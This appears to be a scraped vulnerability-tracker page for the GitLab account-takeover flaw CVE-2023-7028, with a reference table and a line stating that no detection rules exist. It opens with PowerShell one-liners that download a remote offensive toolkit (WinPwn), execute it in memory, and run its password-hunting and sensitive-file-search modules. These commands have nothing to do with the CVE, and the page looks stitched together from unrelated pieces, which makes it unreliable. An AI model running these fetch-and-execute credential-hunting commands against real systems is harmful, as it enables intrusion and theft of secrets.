iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-7028 |
| gitlab.com |
GitHub CVE
issue-tracking
|
https://gitlab.com/gitlab-org/gitlab/-/issues/436084 |
| hackerone.com |
GitHub CVE
technical-description
exploit
|
https://hackerone.com/reports/2293343 |
| vicarius.io |
NVD API
Exploit
Third Party Advisory
|
https://www.vicarius.io/vsociety/posts/critical-gitlab-account-takeover-vulnerability-cve-2023-7028 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-7028 |